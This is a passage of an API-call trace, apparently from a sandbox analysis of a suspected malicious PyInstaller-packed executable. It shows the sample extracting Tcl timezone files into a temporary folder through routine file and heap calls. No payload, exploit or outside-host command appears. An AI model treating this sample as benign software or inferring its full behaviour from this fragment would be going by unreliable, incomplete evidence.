cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Canada\\Atlantic") returned 72 [0041.265] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Canada\\Atlantic" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\canada\\atlantic"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff [0041.265] GetLastError () returned 0x2 [0041.265] SetLastError (dwErrCode=0x2) [0041.265] GetLastError () returned 0x2 [0041.265] SetLastError (dwErrCode=0x2) [0041.265] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Canada\\Atlantic", nBufferLength=0x104, lpBuffer=0x4f8b64, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Canada\\Atlantic", lpFilePart=0x0) returned 0x47 [0041.265] GetLastError () returned 0x2 [0041.266] SetLastError (dwErrCode=0x2) [0041.266] GetLastError () returned 0x2 [0041.266] SetLastError (dwErrCode=0x2) [0041.266] GetLastError () returned 0x2 [0041.266] SetLastError (dwErrCode=0x2) [0041.266] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4f8bd4, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Canada\\Atlantic") returned 72 [0041.266] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd715f8, cbMultiByte=-1, lpWideCharStr=0x4f8bc0, cchWideChar=10 | out: lpWideCharStr="wb") returned 3 [0041.266] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Canada\\Atlantic" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\canada\\atlantic"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x4f8a78, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0041.266] GetFileType (hFile=0x10c) returned 0x1 [0041.266] htonl (hostlong=0xb8000000) returned 0xb8 [0041.267] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x560088 [0041.267] WriteFile (in: hFile=0x10c, lpBuffer=0x560088*, nNumberOfBytesToWrite=0xb8, lpNumberOfBytesWritten=0x4fcd6c, lpOverlapped=0x0 | out: lpBuffer=0x560088*, lpNumberOfBytesWritten=0x4fcd6c*=0xb8, lpOverlapped=0x0) returned 1 [0041.268] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0041.268] CloseHandle (hObject=0x10c) returned 1 [0041.268] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x550600 | out: hHeap=0x530000) returned 1 [0041.268] htonl (hostlong=0x30000000) returned 0x30 [0041.268] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x54bc40, cbMultiByte=-1, lpWideCharStr=0x4fcc18, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe") returned 65 [0041.268] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd70200, cbMultiByte=-1, lpWideCharStr=0x4fcc04, cchWideChar=10 | out: lpWideCharStr="rb") returned 3 [0041.268] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\cusers777downloadsnewsourcenewsource.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x4fcabc, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0041.268] GetFileType (hFile=0x10c) returned 0x1 [0041.268] htonl (hostlong=0xf2a05b00) returned 0x5ba0f2 [0041.268] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x6050f2, lpNewFilePointer=0x0, dwMoveMethod=0x4fcd74 | out: lpNewFilePointer=0x0) returned 1 [0041.268] htonl (hostlong=0x8d000000) returned 0x8d [0041.268] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x8d) returned 0x55cfe0 [0041.268] htonl (hostlong=0x8d000000) returned 0x8d [0041.268] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x560088 [0041.268] ReadFile (in: hFile=0x10c, lpBuffer=0x560088, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4fccfc, lpOverlapped=0x0 | out: lpBuffer=0x560088*, lpNumberOfBytesRead=0x4fccfc*=0x1000, lpOverlapped=0x0) returned 1 [0041.269] htonl (hostlong=0xba000000) returned 0xba [0041.269] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0xba) returned 0x55e170 [0041.269] htonl (hostlong=0x8d000000) returned 0x8d [0041.269] htonl (hostlong=0xba000000) returned 0xba [0041.269] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1bcc) returned 0x561090 [0041.269] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x561090 | out: hHeap=0x530000) returned 1 [0041.269] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55cfe0 | out: hHeap=0x530000) returned 1 [0041.269] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0041.269] CloseHandle (hObject=0x10c) returned 1 [0041.269] GetLastError () returned 0x0 [0041.269] SetLastError (dwErrCode=0x0) [0041.269] GetLastError () returned 0x0 [0041.269] SetLastError (dwErrCode=0x0) [0041.269] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl") returned 49 [0041.269] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0041.269] GetFileType (hFile=0x10c) returned 0x1 [0041.269] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0041.269] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0041.269] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0041.269] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0041.269] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0041.269] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0041.269] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0041.269] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0041.269] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0041.269] CloseHandle (hObject=0x10c) returned 1 [0041.269] GetLastError () returned 0x0 [0041.270] SetLastError (dwErrCode=0x0) [0041.270] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata") returned 56 [0041.270] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0041.270] GetFileType (hFile=0x10c) returned 0x1 [0041.270] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0041.270] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0041.270] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0041.270] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0041.270] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0041.270] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0041.270] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0041.270] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0041.270] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0041.270] CloseHandle (hObject=0x10c) returned 1 [0041.270] GetLastError () returned 0x0 [0041.270] SetLastError (dwErrCode=0x0) [0041.270] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Canada") returned 63 [0041.270] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Canada" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\canada"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0041.270] GetFileType (hFile=0x10c) returned 0x1 [0041.270] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0041.270] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0041.270] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0041.270] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0041.270] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0041.270] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0041.271] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0041.271] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0041.271] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0041.271] CloseHandle (hObject=0x10c) returned 1 [0041.271] GetLastError () returned 0x0 [0041.271] SetLastError (dwErrCode=0x0) [0041.271] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Canada\\Central") returned 71 [0041.271] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Canada\\Central" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\canada\\central"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff [0041.271] GetLastError () returned 0x2 [0041.271] SetLastError (dwErrCode=0x2) [0041.271] GetLastError () returned 0x2 [0041.271] SetLastError (dwErrCode=0x2) [0041.271] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Canada\\Central", nBufferLength=0x104, lpBuffer=0x4f8b64, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Canada\\Central", lpFilePart=0x0) returned 0x46 [0041.271] GetLastError () returned 0x2 [0041.271] SetLastError (dwErrCode=0x2) [0041.271] GetLastError () returned 0x2 [0041.271] SetLastError (dwErrCode=0x2) [0041.271] GetLastError () returned 0x2 [0041.271] SetLastError (dwErrCode=0x2) [0041.271] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4f8bd4, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Canada\\Central") returned 71 [0041.271] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd715f8, cbMultiByte=-1, lpWideCharStr=0x4f8bc0, cchWideChar=10 | out: lpWideCharStr="wb") returned 3 [0041.271] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Canada\\Central" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\canada\\central"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x4f8a78, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0041.271] GetFileType (hFile=0x10c) returned 0x1 [0041.272] htonl (hostlong=0xba000000) returned 0xba [0041.272] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x560088 [0041.272] WriteFile (in: hFile=0x10c, lpBuffer=0x560088*, nNumberOfBytesToWrite=0xba, lpNumberOfBytesWritten=0x4fcd6c, lpOverlapped=0x0 | out: lpBuffer=0x560088*, lpNumberOfBytesWritten=0x4fcd6c*=0xba, lpOverlapped=0x0) returned 1 [0041.273] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0041.273] CloseHandle (hObject=0x10c) returned 1 [0041.273] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55e170 | out: hHeap=0x530000) returned 1 [0041.273] htonl (hostlong=0x30000000) returned 0x30 [0041.273] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x54bc40, cbMultiByte=-1, lpWideCharStr=0x4fcc18, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe") returned 65 [0041.273] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd70200, cbMultiByte=-1, lpWideCharStr=0x4fcc04, cchWideChar=10 | out: lpWideCharStr="rb") returned 3 [0041.273] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\cusers777downloadsnewsourcenewsource.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x4fcabc, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0041.273] GetFileType (hFile=0x10c) returned 0x1 [0041.273] htonl (hostlong=0x7fa15b00) returned 0x5ba17f [0041.273] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x60517f, lpNewFilePointer=0x0, dwMoveMethod=0x4fcd74 | out: lpNewFilePointer=0x0) returned 1 [0041.273] htonl (hostlong=0x93000000) returned 0x93 [0041.273] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x93) returned 0x55cfe0 [0041.273] htonl (hostlong=0x93000000) returned 0x93 [0041.273] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x560088 [0041.273] ReadFile (in: hFile=0x10c, lpBuffer=0x560088, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4fccfc, lpOverlapped=0x0 | out: lpBuffer=0x560088*, lpNumberOfBytesRead=0x4fccfc*=0x1000, lpOverlapped=0x0) returned 1 [0041.273] htonl (hostlong=0xbe000000) returned 0xbe [0041.273] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0xbe) returned 0x55dbf8 [0041.273] htonl (hostlong=0x93000000) returned 0x93 [0041.273] htonl (hostlong=0xbe000000) returned 0xbe [0041.273] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1bcc) returned 0x561090 [0041.273] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x561090 | out: hHeap=0x530000) returned 1 [0041.273] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55cfe0 | out: hHeap=0x530000) returned 1 [0041.273] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0041.273] CloseHandle (hObject=0x10c) returned 1 [0041.273] GetLastError () returned 0x0 [0041.274] SetLastError (dwErrCode=0x0) [0041.274] GetLastError () returned 0x0 [0041.274] SetLastError (dwErrCode=0x0) [0041.274] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl") returned 49 [0041.274] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0041.274] GetFileType (hFile=0x10c) returned 0x1 [0041.274] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0041.274] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0041.274] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0041.274] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0041.274] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0041.274] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0041.274] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0041.274] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0041.274] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0041.274] CloseHandle (hObject=0x10c) returned 1 [0041.274] GetLastError () returned 0x0 [0041.274] SetLastError (dwErrCode=0x0) [0041.274] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata") returned 56 [0041.274] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0041.274] GetFileType (hFile=0x10c) returned 0x1 [0041.274] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0041.274] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0041.274] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0041.274] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0041.275] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0041.275] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0041.275] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0041.275] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0041.275] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0041.275] CloseHandle (hObject=0x10c) returned 1 [0041.275] GetLastError () returned 0x0 [0041.275] SetLastError (dwErrCode=0x0) [0041.275] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Canada") returned 63 [0041.275] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Canada" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\canada"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0041.275] GetFileType (hFile=0x10c) returned 0x1 [0041.275] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0041.275] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0041.275] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0041.275] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0041.275] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0041.275] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0041.275] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0041.275] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0041.275] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0041.275] CloseHandle (hObject=0x10c) returned 1 [0041.275] GetLastError () returned 0x0 [0041.275] SetLastError (dwErrCode=0x0) [0041.275] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Canada\\East-Saskatchewan") returned 81 [0041.275] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Canada\\East-Saskatchewan" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\canada\\east-saskatchewan"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff [0041.275] GetLastError () returned 0x2 [0041.276] SetLastError (dwErrCode=0x2) [0041.276] GetLastError () returned 0x2 [0041.276] SetLastError (dwErrCode=0x2) [0041.276] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Canada\\East-Saskatchewan", nBufferLength=0x104, lpBuffer=0x4f8b64, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Canada\\East-Saskatchewan", lpFilePart=0x0) returned 0x50 [0041.276] GetLastError () returned 0x2 [0041.276] SetLastError (dwErrCode=0x2) [0041.276] GetLastError () returned 0x2 [0041.276] SetLastError (dwErrCode=0x2) [0041.276] GetLastError () returned 0x2 [0041.276] SetLastError (dwErrCode=0x2) [0041.276] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, 